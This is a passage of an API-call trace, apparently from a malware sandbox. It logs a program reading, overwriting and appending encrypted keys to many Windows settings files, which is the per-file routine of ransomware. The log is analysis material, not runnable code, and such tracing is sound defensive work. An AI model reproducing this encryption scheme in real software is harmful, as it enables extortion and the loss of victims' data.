lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.090] CloseHandle (hObject=0x1c24) returned 1 [0197.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.091] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Keyboard_IsShiftLockEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.092] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4ff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ff, lpOverlapped=0x0) returned 1 [0197.095] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1279, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.095] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4ff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ff, lpOverlapped=0x0) returned 1 [0197.096] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ff [0197.096] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.096] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.096] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.097] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.097] CloseHandle (hObject=0x1c24) returned 1 [0197.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.099] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Keyboard_IsPredictionSpaceInsertionEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.099] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x54b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x54b, lpOverlapped=0x0) returned 1 [0197.101] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.101] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x54b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x54b, lpOverlapped=0x0) returned 1 [0197.102] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x54b [0197.102] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.102] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.102] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.103] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.103] CloseHandle (hObject=0x1c24) returned 1 [0197.105] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.105] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0197.105] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Keyboard_IsKeyAudioFeedbackEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.105] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x522, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x522, lpOverlapped=0x0) returned 1 [0197.108] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.108] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x522, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x522, lpOverlapped=0x0) returned 1 [0197.109] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x522 [0197.109] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.109] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.109] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.109] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.110] CloseHandle (hObject=0x1c24) returned 1 [0197.111] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.111] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.111] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Keyboard_IsDoubleTapSpaceEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.111] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x519, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0197.118] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1305, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.118] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x519, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0197.118] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x519 [0197.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.119] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.119] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.119] CloseHandle (hObject=0x1c24) returned 1 [0197.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.124] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Keyboard_IsCompatibilityKeyboardEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.124] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x53b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x53b, lpOverlapped=0x0) returned 1 [0197.139] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1339, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.139] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x53b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x53b, lpOverlapped=0x0) returned 1 [0197.143] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x53b [0197.143] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.143] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.143] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.144] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.144] CloseHandle (hObject=0x1c24) returned 1 [0197.146] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.146] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.146] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Keyboard_IsAutoShiftEngageEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.146] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x51d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x51d, lpOverlapped=0x0) returned 1 [0197.147] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1309, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.148] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x51d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x51d, lpOverlapped=0x0) returned 1 [0197.148] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x51d [0197.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.148] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.149] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.149] CloseHandle (hObject=0x1c24) returned 1 [0197.151] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.151] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.151] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Keyboard_IsAutoCorrectionEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.151] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x515, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x515, lpOverlapped=0x0) returned 1 [0197.153] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.153] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x515, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x515, lpOverlapped=0x0) returned 1 [0197.154] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x515 [0197.154] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.154] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.154] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.154] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.155] CloseHandle (hObject=0x1c24) returned 1 [0197.156] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.156] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0197.156] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_ZoomEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.157] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4e7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e7, lpOverlapped=0x0) returned 1 [0197.165] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1255, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.165] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e7, lpOverlapped=0x0) returned 1 [0197.166] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e7 [0197.166] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.166] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.166] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.167] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.167] CloseHandle (hObject=0x1c24) returned 1 [0197.169] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.169] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.169] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_TwoFingerTapEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.170] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x50f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x50f, lpOverlapped=0x0) returned 1 [0197.176] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.176] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x50f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50f, lpOverlapped=0x0) returned 1 [0197.176] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50f [0197.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.177] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.177] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.177] CloseHandle (hObject=0x1c24) returned 1 [0197.179] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.179] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.179] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_ThreeFingerTapEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.179] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x519, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0197.181] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1305, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.181] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x519, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0197.181] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x519 [0197.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.181] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.182] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.182] CloseHandle (hObject=0x1c24) returned 1 [0197.186] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.186] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0197.186] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_ThreeFingerSlideEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.187] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x523, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x523, lpOverlapped=0x0) returned 1 [0197.188] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1315, 